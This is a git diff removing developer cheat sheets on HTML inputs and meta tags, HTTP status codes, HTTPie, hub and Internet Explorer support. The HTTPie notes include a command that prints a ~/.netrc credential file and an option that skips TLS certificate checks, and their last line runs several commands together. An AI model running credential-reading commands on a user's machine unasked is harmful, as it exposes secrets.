-### Numbers
-
-| Type            | Example               |
-| --------------- | --------------------- |
-| `type='number'` | <input type='number'> |
-| `type='range'`  | <input type='range'>  |
-
-### Text
-
-| Type              | Example                 |
-| ----------------- | ----------------------- |
-| `type='text'`     | <input type='text'>     |
-| `type='password'` | <input type='password'> |
-| `type='search'`   | <input type='search'>   |
-| `type='tel'`      | <input type='tel'>      |
-
-## Also see
-
--   <https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input>
diff --git a/docs/content/cheat-sheets/html-meta.md b/docs/content/cheat-sheets/html-meta.md
deleted file mode 100644
index c34f4e526b..0000000000
--- a/docs/content/cheat-sheets/html-meta.md
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: HTML meta tags
-category: HTML
-
-weight: -3
----
-
-### Meta tags
-
-```html
-<meta charset="utf-8" />
-```
-
-```html
-<!-- title -->
-<title>···</title>
-<meta property="og:title" content="···" />
-<meta name="twitter:title" content="···" />
-```
-
-{: data-line="2"}
-
-```html
-<!-- url -->
-<link rel="canonical" href="http://···" />
-<meta property="og:url" content="http://···" />
-<meta name="twitter:url" content="http://···" />
-```
-
-{: data-line="2"}
-
-```html
-<!-- description -->
-<meta name="description" content="···" />
-<meta property="og:description" content="···" />
-<meta name="twitter:description" content="···" />
-```
-
-{: data-line="2"}
-
-```html
-<!-- image -->
-<meta property="og:image" content="http://···" />
-<meta name="twitter:image" content="http://···" />
-```
-
-```html
-<!-- ua -->
-<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1" />
-```
-
-```html
-<!-- viewport -->
-<meta name="viewport" content="width=device-width" />
-<meta name="viewport" content="width=1024" />
-```
-
-### More opengraph
-
-```html
-<meta property="og:site_name" content="···" /> <meta property="og:type" content="website" />
-```
-
-```html
-<meta property="fb:app_id" content="···" />
-<meta property="fb:admins" content="UID1,UID2" />
-<!-- ···unless there's app_id -->
-```
-
-```html
-<meta property="og:audio" content="http://···/theme.mp3" /> <meta property="og:video" content="http://···/trailer.swf" />
-```
-
-See: [OpenGraph protocol](https://developers.facebook.com/docs/opengraphprotocol/) _(developers.facebook.com)_
-
-### Opengraph for articles
-
--   `article:published_time`
--   `article:modified_time`
--   `article:expiration_time`
--   `article:author`
--   `article:section`
--   `article:tag`
-
-### Apple-only
-
-```html
-<meta name="format-detection" content="telephone=no" />
-```
-
-## Progressive web apps
-
-### Add to homescreen
-
-```html
-<meta name="mobile-web-app-capable" content="yes" /> <meta name="apple-mobile-web-app-capable" content="yes" />
-```
-
-```html
-<meta name="apple-mobile-web-app-status-bar-style" content="black" />
-<!-- black | black-translucent | default -->
-```
-
-### Theme color
-
-```html
-<meta name="theme-color" content="#ff00ff" />
-```
-
-Android-only.
-See: [Theme color](https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android)
-
-### Manifest
-
-```html
-<link rel="manifest" href="/manifest.json" />
-```
-
-Android-only.
-See: [Manifest](https://developers.google.com/web/fundamentals/engage-and-retain/web-app-manifest/)
-
-### Icons
-
-```html
-<!-- Minimal -->
-<link rel="icon" type="image/png" href="favicon@32.png" />
-<link rel="icon" sizes="192x192" href="icon@192.png" />
-<link rel="apple-touch-icon" href="icon@152.png" />
-<meta name="msapplication-square310x310logo" content="icon@310.png" />
-```
-
-```html
-<!-- Apple -->
-<link rel="apple-touch-icon" href="touch-icon-iphone.png" />
-<link rel="apple-touch-icon" sizes="76x76" href="touch-icon-ipad.png" />
-<link rel="apple-touch-icon" sizes="120x120" href="touch-icon-iphone-retina.png" />
-<link rel="apple-touch-icon" sizes="152x152" href="touch-icon-ipad-retina.png" />
-```
-
-```html
-<!-- Microsoft -->
-<meta name="msapplication-square70x70logo" content="icon_smalltile.png" />
-<meta name="msapplication-square150x150logo" content="icon_mediumtile.png" />
-<meta name="msapplication-wide310x150logo" content="icon_widetile.png" />
-```
-
-Chrome on Android recommends [192x192](https://developers.google.com/web/updates/2014/11/Support-for-theme-color-in-Chrome-39-for-Android).
-See: [Icons](https://developers.google.com/web/fundamentals/design-and-ui/browser-customization/)
-
-## Reference
-
-{: .-one-column}
-
--   <https://dev.twitter.com/cards>
--   <https://developers.facebook.com/docs/opengraphprotocol/#types>
-    {: .-also-see}
diff --git a/docs/content/cheat-sheets/html-microformats.md b/docs/content/cheat-sheets/html-microformats.md
deleted file mode 100644
index 2d8c1bf955..0000000000
--- a/docs/content/cheat-sheets/html-microformats.md
+++ /dev/null
@@ -1,20 +0,0 @@
----
-title: Microformats
-category: HTML
----
-
-### Author
-
-```html
-<span class="entry-author" itemprop="author" itemscope="itemscope" itemtype="http://schema.org/Person">
-    <a href="http://AUTHORPAGE" class="entry-author-link" itemprop="url" rel="author">
-        <span class="entry-author-name" itemprop="name">AUTHORNAME</span>
-    </a>
-</span>
-```
-
-### Time
-
-```html
-<time class="entry-time" itemprop="datePublished" datetime="2009-02-09T20:04:00+00:00">February 9, 2009</time>
-```
diff --git a/docs/content/cheat-sheets/html-share.md b/docs/content/cheat-sheets/html-share.md
deleted file mode 100644
index b368e753c7..0000000000
--- a/docs/content/cheat-sheets/html-share.md
+++ /dev/null
@@ -1,30 +0,0 @@
----
-title: Share links
-
-category: HTML
----
-
-## Share links
-
-{: .-one-column}
-
-Facebook:
-{:.-setup}
-
-```html
-<a href="https://www.facebook.com/sharer/sharer.php?u=URL" target="share"></a>
-```
-
-Twitter:
-{:.-setup}
-
-```html
-<a href="https://twitter.com/intent/tweet?text=DESCRIPTION+URL" target="share"></a>
-```
-
-Google Plus:
-{:.-setup}
-
-```html
-<a href="https://plus.google.com/share?url=URL" target="share"></a>
-```
diff --git a/docs/content/cheat-sheets/html.md b/docs/content/cheat-sheets/html.md
deleted file mode 100644
index 647811ad78..0000000000
--- a/docs/content/cheat-sheets/html.md
+++ /dev/null
@@ -1 +0,0 @@
-# HTML
diff --git a/docs/content/cheat-sheets/http-status.md b/docs/content/cheat-sheets/http-status.md
deleted file mode 100644
index 19562f4ac0..0000000000
--- a/docs/content/cheat-sheets/http-status.md
+++ /dev/null
@@ -1,120 +0,0 @@
----
-title: HTTP Status
-category: API
-
-description: |
-    List of HTTP Status codes and links to description.
----
-
-### Informational Responses
-
-| Code  | Name                | ?                                 |
-| ----- | ------------------- | --------------------------------- |
-| `100` | Continue            | [?](https://httpstatuses.com/100) |
-| `101` | Switching Protocols | [?](https://httpstatuses.com/101) |
-
-{: .xp}
-
-### Success Responses
-
-| Code  | Name                        | ?                                 |
-| ----- | --------------------------- | --------------------------------- |
-| `200` | OK                          | [?](https://httpstatuses.com/200) |
-| `201` | Created                     | [?](https://httpstatuses.com/201) |
-| `202` | Accepted                    | [?](https://httpstatuses.com/202) |
-| `203` | Non-Authoritive Information | [?](https://httpstatuses.com/203) |
-| `204` | No Content                  | [?](https://httpstatuses.com/204) |
-| `205` | Reset Content               | [?](https://httpstatuses.com/205) |
-| `206` | Partial Content             | [?](https://httpstatuses.com/206) |
-| `226` | IM Used                     | [?](https://httpstatuses.com/226) |
-
-{: .xp}
-
-### Redirection Responses
-
-| Code  | Name               | ?                                                |
-| ----- | ------------------ | ------------------------------------------------ |
-| `300` | Multiple Choices   | [?](https://httpstatuses.com/300)                |
-| `301` | Moved Permanently  | [?](https://httpstatuses.com/301)                |
-| `302` | Found              | [?](https://httpstatuses.com/302)                |
-| `303` | See Other          | [?](https://httpstatuses.com/303)                |
-| `304` | Not Modified       | [?](https://httpstatuses.com/304)                |
-| `305` | Use Proxy          | [?](https://httpstatuses.com/305)                |
-| `306` | _Switch Proxy_     | [?](https://httpstatusdogs.com/306-switch-proxy) |
-| `307` | Temporary Redirect | [?](https://httpstatuses.com/307)                |
-| `308` | Permanent Redirect | [?](https://httpstatuses.com/308)                |
-
-{: .xp}
-
-### Client Error Responses
-
-| Code  | Name                            | ?                                 |
-| ----- | ------------------------------- | --------------------------------- |
-| `400` | Bad Request                     | [?](https://httpstatuses.com/400) |
-| `401` | Unauthorized                    | [?](https://httpstatuses.com/401) |
-| `402` | Payment Required                | [?](https://httpstatuses.com/402) |
-| `403` | Forbidden                       | [?](https://httpstatuses.com/403) |
-| `404` | Not Found                       | [?](https://httpstatuses.com/404) |
-| `405` | Method Not Allowed              | [?](https://httpstatuses.com/405) |
-| `406` | Not Acceptable                  | [?](https://httpstatuses.com/406) |
-| `407` | Proxy Authentication Required   | [?](https://httpstatuses.com/407) |
-| `408` | Request Timeout                 | [?](https://httpstatuses.com/408) |
-| `409` | Conflict                        | [?](https://httpstatuses.com/409) |
-| `410` | Gone                            | [?](https://httpstatuses.com/410) |
-| `411` | Length Required                 | [?](https://httpstatuses.com/411) |
-| `412` | Precondition Failed             | [?](https://httpstatuses.com/412) |
-| `413` | Payload Too Large               | [?](https://httpstatuses.com/413) |
-| `414` | URI Too Long                    | [?](https://httpstatuses.com/414) |
-| `415` | Unsupported Media Type          | [?](https://httpstatuses.com/415) |
-| `416` | Range Not Satisfiable           | [?](https://httpstatuses.com/416) |
-| `417` | Expectation Failed              | [?](https://httpstatuses.com/417) |
-| `418` | I'm a teapot                    | [?](https://httpstatuses.com/418) |
-| `421` | Misdirected Request             | [?](https://httpstatuses.com/421) |
-| `426` | Upgrade Required                | [?](https://httpstatuses.com/426) |
-| `428` | Precondition Required           | [?](https://httpstatuses.com/428) |
-| `429` | Too Many Requests               | [?](https://httpstatuses.com/429) |
-| `431` | Request Header Fields Too Large | [?](https://httpstatuses.com/431) |
-| `451` | Unavailable For Legal Reasons   | [?](https://httpstatuses.com/451) |
-
-{: .xp}
-
-### Server Error Responses
-
-| Code  | Name                            | ?                                 |
-| ----- | ------------------------------- | --------------------------------- |
-| `500` | Internal Server Error           | [?](https://httpstatuses.com/500) |
-| `501` | Not Implemented                 | [?](https://httpstatuses.com/501) |
-| `502` | Bad Gateway                     | [?](https://httpstatuses.com/502) |
-| `503` | Service Unavailable             | [?](https://httpstatuses.com/503) |
-| `504` | Gateway Timeout                 | [?](https://httpstatuses.com/504) |
-| `505` | HTTP Version Not Supported      | [?](https://httpstatuses.com/505) |
-| `506` | Variant Also Negotiates         | [?](https://httpstatuses.com/506) |
-| `510` | Not Extended                    | [?](https://httpstatuses.com/510) |
-| `511` | Network Authentication Required | [?](https://httpstatuses.com/511) |
-
-{: .xp}
-
-## WebDAV Status Codes
-
-WebDAV is an extension of HTTP that allows clients to perform remote Web content authoring operations. It provides a framework for users to create, change and move documents on a server. It adds the following status codes on top of HTTP.
-
-[Read more.](https://en.wikipedia.org/wiki/WebDAV)
-
-| Code  | Name                 | ?                                                                |
-| ----- | -------------------- | ---------------------------------------------------------------- |
-| `102` | Processing           | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#102) |
-| `207` | Multi-Status         | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#207) |
-| `208` | Already Reported     | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#208) |
-| `422` | Unprocessable Entity | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#422) |
-| `423` | Locked               | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#423) |
-| `424` | Failed Dependency    | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#424) |
-| `507` | Insufficient Storage | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#507) |
-| `508` | Loop Detected        | [?](https://en.wikipedia.org/wiki/List_of_HTTP_status_codes#508) |
-
-{: .xp}
-
-## Also see
-
--   <https://en.wikipedia.org/wiki/List_of_HTTP_status_codes>
--   <https://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html>
--   <https://httpstatuses.com/>
diff --git a/docs/content/cheat-sheets/http.md b/docs/content/cheat-sheets/http.md
deleted file mode 100644
index 7d0125d6d1..0000000000
--- a/docs/content/cheat-sheets/http.md
+++ /dev/null
@@ -1,277 +0,0 @@
-# Custom HTTP method HTTP headers and JSON data:
-
-http PUT example.org X-API-Token:123 name=John
-
-# Submitting forms:
-
-http -f POST example.org hello=World
-
-# See the request that is being sent using one of the output options:
-
-http -v example.org
-
-# Use Github API to post a comment on an issue with authentication:
-
-http -a USERNAME POST <https://api.github.com/repos/jkbrzt/httpie/issues/83/comments> body='HTTPie is awesome!'
-
-# Upload a file using redirected input:
-
-http example.org < file.json
-
-# Download a file and save it via redirected output:
-
-http example.org/file > file
-
-# Download a file wget style:
-
-http --download example.org/file
-
-# Use named sessions\_ to make certain aspects or the communication
-
-# persistent between requests to the same host:
-
-# http --session=logged-in -a username:password httpbin.org/get API-Key:123
-
-http --session=logged-in httpbin.org/headers
-
-# Set a custom Host header to work around missing DNS records:
-
-http localhost:8000 Host:example.com
-
-# Simple JSON example:
-
-http PUT example.org name=John email=john@example.org
-
-# Non-string fields use the := separator, which allows you to embed raw
-
-# JSON into the resulting object. Text and raw JSON files can also be
-
-# embedded into fields using =@ and :=@:
-
-http PUT api.example.com/person/1 name=John age:=29 married:=false hobbies:='["http", "pies"]' description=@about-john.txt bookmarks:=@bookmarks.json
-
-# Send JSON data stored in a file:
-
-http POST api.example.com/person/1 < person.json
-
-# Regular Forms
-
-http --form POST api.example.org/person/1 name='John Smith' email=john@example.org cv=@~/Documents/cv.txt
-
-# File Upload Forms
-
-# If one or more file fields is present, the serialization and content
-
-# type is multipart/form-data:
-
-http -f POST example.com/jobs name='John Smith' cv@~/Documents/cv.pdf
-
-# To set custom headers you can use the Header:Value notation:
-
-http example.org User-Agent:Bacon/1.0 'Cookie:valued-visitor=yes;foo=bar' X-Foo:Bar Referer:<http://httpie.org/>
-
-# Basic auth:
-
-http -a username:password example.org
-
-# Digest auth:
-
-http --auth-type=digest -a username:password example.org
-
-# With password prompt:
-
-http -a username example.org
-
-# Authorization information from your ~/.netrc file is honored as well:
-
-cat ~/.netrc
-machine httpbin.org
-login httpie # password test
-http httpbin.org/basic-auth/httpie/test
-
-# You can specify proxies to be used through the --proxy argument for each
-
-# protocol (which is included in the value in case of redirects across
-
-# protocols):
-
-http --proxy=http:<http://10.10.1.10:3128> --proxy=https:<https://10.10.1.10:1080> example.org
-
-# With Basic authentication:
-
-http --proxy=http:<http://user:pass@10.10.1.10:3128> example.org
-
-# To skip the HOST'S SSL CERTIFICATE VERIFICATION, you can pass
-
-# --verify=no (default is yes):
-
-http --verify=no <https://example.org>
-
-# You can also use --verify=<CA_BUNDLE_PATH> to set a CUSTOM CA BUNDLE path:
-
-http --verify=/ssl/custom_ca_bundle <https://example.org>
-
-# To use a CLIENT SIDE CERTIFICATE for the SSL communication, you can pass
-
-# the path of the cert file with --cert:
-
-http --cert=client.pem <https://example.org>
-
-# If the PRIVATE KEY is not contained in the cert file you may pass the
-
-# path of the key file with --cert-key:
-
-http --cert=client.crt --cert-key=client.key <https://example.org>
-
-# You can control what should be printed via several options:
-
-# --headers, -h Only the response headers are printed.
-
-# --body, -b Only the response body is printed.
-
-# --verbose, -v Print the whole HTTP exchange (request and response).
-
-# --print, -p Selects parts of the HTTP exchange.
-
-http --verbose PUT httpbin.org/put hello=world
-
-# Print request and response headers:
-
-# Character Stands for
-
-# ----------- -------------------
-
-# H Request headers.
-
-# B Request body.
-
-# h Response headers.
-
-# b Response body.
-
-http --print=Hh PUT httpbin.org/put hello=world
-
-# Let's say that there is an API that returns the whole resource when it
-
-# is updated, but you are only interested in the response headers to see
-
-# the status code after an update:
-
-http --headers PATCH example.org/Really-Huge-Resource name='New Name'
-
-# Redirect from a file:
-
-http PUT example.com/person/1 X-API-Token:123 < person.json
-
-# Or the output of another program:
-
-grep '401 Unauthorized' /var/log/httpd/error_log | http POST example.org/intruders
-
-# You can use echo for simple data:
-
-echo '{"name": "John"}' | http PATCH example.com/person/1 X-API-Token:123
-
-# You can even pipe web services together using HTTPie:
-
-http GET <https://api.github.com/repos/jkbrzt/httpie> | http POST httpbin.org/post
-
-# You can use cat to enter multiline data on the terminal:
-
-cat | http POST example.com
-<paste> # ^D
-cat | http POST example.com/todos Content-Type:text/plain - buy milk - call parents
-^D
-
-# On OS X, you can send the contents of the clipboard with pbpaste:
-
-pbpaste | http PUT example.com
-
-# Passing data through stdin cannot be combined with data fields specified
-
-# on the command line:
-
-echo 'data' | http POST example.org more=data # This is invalid
-
-# AN ALTERNATIVE TO REDIRECTED stdin is specifying a filename (as
-
-# @/path/to/file) whose content is used as if it came from stdin.
-
-# It has the advantage that THE Content-Type HEADER IS AUTOMATICALLY SET
-
-# to the appropriate value based on the filename extension. For example,
-
-# the following request sends the verbatim contents of that XML file with
-
-# Content-Type: application/xml:
-
-http PUT httpbin.org/put @/data/file.xml
-
-# Download a file:
-
-http example.org/Movie.mov > Movie.mov
-
-# Download an image of Octocat, resize it using ImageMagick, upload it
-
-# elsewhere:
-
-http octodex.github.com/images/original.jpg | convert - -resize 25% - | http example.org/Octocats
-
-# Force colorizing and formatting, and show both the request and the
-
-# response in less pager:
-
-http --pretty=all --verbose example.org | less -R
-
-# When enabled using the --download, -d flag, response headers are printed
-
-# to the terminal (stderr), and a progress bar is shown while the response
-
-# body is being saved to a file.
-
-http --download <https://github.com/jkbrzt/httpie/tarball/master>
-
-# You can also redirect the response body to another program while the
-
-# response headers and progress are still shown in the terminal:
-
-http -d <https://github.com/jkbrzt/httpie/tarball/master> | tar zxf -
-
-# If --output, -o is specified, you can resume a partial download using
-
-# the --continue, -c option. This only works with servers that support
-
-# Range requests and 206 Partial Content responses. If the server doesn't
-
-# support that, the whole file will simply be downloaded:
-
-http -dco file.zip example.org/file
-
-# Prettified streamed response:
-
-http --stream -f -a YOUR-TWITTER-NAME <https://stream.twitter.com/1/statuses/filter.json> track='Justin Bieber'
-
-# Send each new tweet (JSON object) mentioning "Apple" to another
-
-# server as soon as it arrives from the Twitter streaming API:
-
-http --stream -f -a YOUR-TWITTER-NAME <https://stream.twitter.com/1/statuses/filter.json> track=Apple | while read tweet; do echo "$tweet" | http POST example.org/tweets ; done
-
-# Create a new session named user1 for example.org:
-
-http --session=user1 -a user1:password example.org X-Foo:Bar
-
-# Now you can refer to the session by its name, and the previously used
-
-# authorization and HTTP headers will automatically be set:
-
-http --session=user1 example.org
-
-# To create or reuse a different session, simple specify a different name:
-
-http --session=user2 -a user2:password example.org X-Bar:Foo
-
-# Instead of a name, you can also directly specify a path to a session
-
-# file. This allows for sessions to be re-used across multiple hosts:
-
-http --session=/tmp/session.json example.orghttp --session=/tmp/session.json admin.example.orghttp --session=~/.httpie/sessions/another.example.org/test.json example.orghttp --session-read-only=/tmp/session.json example.org
diff --git a/docs/content/cheat-sheets/httpie.md b/docs/content/cheat-sheets/httpie.md
deleted file mode 100644
index 24294228ba..0000000000
--- a/docs/content/cheat-sheets/httpie.md
+++ /dev/null
@@ -1,101 +0,0 @@
----
-title: httpie
-category: CLI
-
-weight: -3
-description: |
-    $ http POST http://example.com name="John" Host:example.com — JSON, cookies, files, auth, and other httpie examples.
----
-
-### Introduction
-
-{: .-intro}
-
-[HTTPie](https://httpie.org/) is a command-line HTTP client.
-
--   [HTTPie website](https://httpie.org/) _(httpie.org)_
--   [HTTPie documentation](https://httpie.org/docs) _(httpie.org)_
--   [Try it online](https://httpie.org/run) _(httpie.org)_
-
-### Parameters
-
-```bash
-$ http POST http://example.com/posts/3 \
-    Origin:example.com \  # :   HTTP headers
-    name="John Doe" \     # =   string
-    q=="search" \         # ==  URL parameters (?q=search)
-    age:=29 \             # :=  for non-strings
-    list:='[1,3,4]' \     # :=  json
-    file@file.bin \       # @   attach file
-    token=@token.txt \    # =@  read from file (text)
-    user:=@user.json      # :=@ read from file (json)
-```
-
-### Forms
-
-```bash
-$ http --form POST example.com \
-    name="John Smith" \
-    cv=@document.txt
-```
-
-### Raw JSON
-
-```bash
-$ echo '{"hello": "world"}' | http POST example.com/post
-```
-
-### Options
-
-#### Printing options
-
-```bash
--v, --verbose            # same as --print=HhBb --all
--h, --headers            # same as --print=h
--b, --body               # same as --print=b
-    --all                # print intermediate requests
-    --print=HhBb         # H: request headers
-                         # B: request body
-                         # h: response headers
-                         # b: response body
-    --pretty=none        # all | colors | format
-    --json | -j          # Response is serialized as a JSON object.
-```
-
-#### Authentication
-
-```bash
-    --session NAME
--a, --auth USER:PASS
-    --auth-type basic
-    --auth-type digest
-```
-
-#### Session
-
-```bash
-    --session NAME       # store auth and cookies
-    --session-read-only NAME
-```
-
-#### Downloading
-
-```bash
--d, --download           # like wget
--c, --continue
--o, --output FILE
-```
-
-#### Others
-
-```bash
--F, --follow             # follow redirects
-    --max-redirects N    # maximum for --follow
-    --timeout SECONDS
-    --verify no          # skip SSL verification
-    --proxy http:http://foo.bar:3128
-```
-
-### References
-
--   <https://github.com/jakubroztocil/httpie>
diff --git a/docs/content/cheat-sheets/hub.md b/docs/content/cheat-sheets/hub.md
deleted file mode 100644
index 1336d620d4..0000000000
--- a/docs/content/cheat-sheets/hub.md
+++ /dev/null
@@ -1,92 +0,0 @@
-## As a contributor to open-source
-
-# clone your own project
-
-$ git clone dotfiles
-→ git clone git://github.com/YOUR_USER/dotfiles.git
-
-# clone another project
-
-$ git clone github/hub
-→ git clone git://github.com/github/hub.git
-
-# see the current project's issues
-
-$ git browse -- issues
-→ open https://github.com/github/hub/issues
-
-# open another project's wiki
-
-$ git browse mojombo/jekyll wiki
-→ open https://github.com/mojombo/jekyll/wiki
-
-## Example workflow for contributing to a project:
-
-$ git clone github/hub
-$ cd hub
-
-# create a topic branch
-
-$ git checkout -b feature
-→ ( making changes ... )
-$ git commit -m "done with feature"
-
-# It's time to fork the repo!
-
-$ git fork
-→ (forking repo on GitHub...)
-→ git remote add YOUR_USER git://github.com/YOUR_USER/hub.git
-
-# push the changes to your new remote
-
-$ git push YOUR_USER feature
-
-# open a pull request for the topic branch you've just pushed
-
-$ git pull-request
-→ (opens a text editor for your pull request message)
-
-## As an open-source maintainer
-
-# fetch from multiple trusted forks, even if they don't yet exist as remotes
-
-$ git fetch mislav,cehoffman
-→ git remote add mislav git://github.com/mislav/hub.git
-→ git remote add cehoffman git://github.com/cehoffman/hub.git
-→ git fetch --multiple mislav cehoffman
-
-# check out a pull request for review
-
-$ git checkout https://github.com/github/hub/pull/134
-→ (creates a new branch with the contents of the pull request)
-
-# directly apply all commits from a pull request to the current branch
-
-$ git am -3 https://github.com/github/hub/pull/134
-
-# cherry-pick a GitHub URL
-
-$ git cherry-pick https://github.com/xoebus/hub/commit/177eeb8
-→ git remote add xoebus git://github.com/xoebus/hub.git
-→ git fetch xoebus
-→ git cherry-pick 177eeb8
-
-# `am` can be better than cherry-pick since it doesn't create a remote
-
-$ git am https://github.com/xoebus/hub/commit/177eeb8
-
-# open the GitHub compare view between two releases
-
-$ git compare v0.9..v1.0
-
-# put compare URL for a topic branch to clipboard
-
-$ git compare -u feature | pbcopy
-
-# create a repo for a new project
-
-$ git init
-$ git add . && git commit -m "It begins."
-$ git create -d "My new thing"
-→ (creates a new project on GitHub with the name of current directory)
-$ git push origin master
diff --git a/docs/content/cheat-sheets/ie.md b/docs/content/cheat-sheets/ie.md
deleted file mode 100644
index 641d5fcac5..0000000000
--- a/docs/content/cheat-sheets/ie.md
+++ /dev/null
@@ -1,181 +0,0 @@
----
-title: Internet Explorer
-category: HTML
----
-
-## Support table
-
-{: .-one-column}
-
-### CSS Selectors
-
-| Feature                                                    | IE6 | IE7 | IE8 | IE9 | IE10 |
-| ---------------------------------------------------------- | --- | --- | --- | --- | ---- |
-| `>` _(descendant)_                                         |     | 7 ✓ | ✓   | ✓   | ✓    |
-| `[attr]` _(attribute)_                                     |     | 7 ✓ | ✓   | ✓   | ✓    |
-| `.class1.class2` _(multiple classes)_                      |     | 7 ✓ | ✓   | ✓   | ✓    |
-| `~` _(sibling)_                                            |     | 7 ✓ | ✓   | ✓   | ✓    |
-| `+` _(adjacent)_                                           |     | 7 ✓ | ✓   | ✓   | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   |
-| `:first-child` <sup>\*</sup>                               |     |     | 8 ✓ | ✓   | ✓    |
-| `:focus`                                                   |     |     | 8 ✓ | ✓   | ✓    |
-| `:before` `:after` _(single colon only)_                   |     |     | 8 ✓ | ✓   | ✓    |
-| `:lang`                                                    |     |     | 8 ✓ | ✓   | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   |
-| `:first-of-type`, `:last-of-type`                          |     |     |     | 9 ✓ | ✓    |
-| `:last-child`                                              |     |     |     | 9 ✓ | ✓    |
-| `:empty`                                                   |     |     |     | 9 ✓ | ✓    |
-| `:enabled` `:disabled` `:checked`                          |     |     |     | 9 ✓ | ✓    |
-| `:not()`                                                   |     |     |     | 9 ✓ | ✓    |
-| `:nth-child()` `:nth-last-child()`                         |     |     |     | 9 ✓ | ✓    |
-| `:nth-of-type()` `:nth-last-of-type()` `:only-of-type()`   |     |     |     | 9 ✓ | ✓    |
-| `:only-child()`                                            |     |     |     | 9 ✓ | ✓    |
-| `:target`                                                  |     |     |     | 9 ✓ | ✓    |
-| `::selection`                                              |     |     |     | 9 ✓ | ✓    |
-| `:root`                                                    |     |     |     | 9 ✓ | ✓    |
-
-{: .-headers.-no-wrap}
-
-`first-child:` doesn't work for elements inserted via JS.
-
-### CSS properties
-
-| Feature                                                    | IE6 | IE7 | IE8 | IE9 | IE10 | IE11 |
-| ---------------------------------------------------------- | --- | --- | --- | --- | ---- | ---- |
-| `max-width`                                                |     | 7 ✓ | ✓   | ✓   | ✓    | ✓    |
-| `position: fixed`                                          |     | 7 ✓ | ✓   | ✓   | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| `outline`                                                  |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `display: inline-block` <sup>\*</sup>                      |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `display: table`                                           |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `border-collapse`, `border-spacing`, `table-layout`, ...   |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `whitespace: pre-wrap`                                     |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `whitespace: pre-line`                                     |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| `box-sizing`                                               |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| `background-clip`                                          |     |     |     | 9 ✓ | ✓    | ✓    |
-| `background-origin`                                        |     |     |     | 9 ✓ | ✓    | ✓    |
-| `background-size`                                          |     |     |     | 9 ✓ | ✓    | ✓    |
-| `background: x, y, z` _(multiple backgrounds)_             |     |     |     | 9 ✓ | ✓    | ✓    |
-| `opacity`                                                  |     |     |     | 9 ✓ | ✓    | ✓    |
-| `border-radius`                                            |     |     |     | 9 ✓ | ✓    | ✓    |
-| `box-shadow`                                               |     |     |     | 9 ✓ | ✓    | ✓    |
-| `rgba()`                                                   |     |     |     | 9 ✓ | ✓    | ✓    |
-| `transform`                                                |     |     |     | 9 ✓ | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| `animation`                                                |     |     |     |     | 10 ✓ | ✓    |
-| `transition`                                               |     |     |     |     | 10 ✓ | ✓    |
-| `linear-gradient()`                                        |     |     |     |     | 10 ✓ | ✓    |
-| `text-shadow` — [polyfill][text-shadow]                    |     |     |     |     | 10 ✓ | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| `border-image`                                             |     |     |     |     |      | 11 ✓ |
-
-{: .-headers.-no-wrap}
-
-`inline-block:` IE6/7 can only support inline-block for elements that are naturally inline, like span
-
-### Features
-
-| Feature                                                    | IE6 | IE7 | IE8 | IE9 | IE10 | IE11 |
-| ---------------------------------------------------------- | --- | --- | --- | --- | ---- | ---- |
-| PNG alpha transparency                                     |     | 7 ✓ | ✓   | ✓   | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| data URI [⊙][datauri]                                      |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| JS: JSON parsing [⊙][json]                                 |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| JS: Cross-origin resource sharing [⊙][cors]                |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| JS: Local storage [⊙][localstorage]                        |     |     | 8 ✓ | ✓   | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| CSS: `@media` queries — [polyfill][respond]                |     |     |     | 9 ✓ | ✓    | ✓    |
-| HTML: new HTML5 elements - [polyfill][html5shiv]           |     |     |     | 9 ✓ | ✓    | ✓    |
-| HTML: `<canvas>`                                           |     |     |     | 9 ✓ | ✓    | ✓    |
-| HTML: `<svg>`                                              |     |     |     | 9 ✓ | ✓    | ✓    |
-| HTML: `<img src='image.svg'>`                              |     |     |     | 9 ✓ | ✓    | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| CSS: flexbox [⊙][flexbox] <sup>\*</sup>                    |     |     |     |     | 10 ✓ | ✓    |
-| HTML: `<input placeholder='..'>` [⊙][placeholder]          |     |     |     |     | 10 ✓ | ✓    |
-| HTML: `<input type='range'>`                               |     |     |     |     | 10 ✓ | ✓    |
-| HTML: `<input required>` [⊙][validation]                   |     |     |     |     | 10 ✓ | ✓    |
-| JS: Web sockets                                            |     |     |     |     | 10 ✓ | ✓    |
-| ---------------------------------------------------------- | -   | -   | -   | -   | --   | --   |
-| JS: Fullscreen mode                                        |     |     |     |     |      | 11 ✓ |
-
-{: .-headers.-no-wrap}
-
-`flexbox:` IE10 only supports the 2012 syntax with -ms- prefix.
-
-## Polyfills
-
-### IE polyfills
-
-Always install these in almost every project:
-
--   [json2] for JSON parsing (for IE7 below)
--   [selectivizr] for selectors (for IE8 below)
--   [html5shiv] for new HTML tags (for IE8 below)
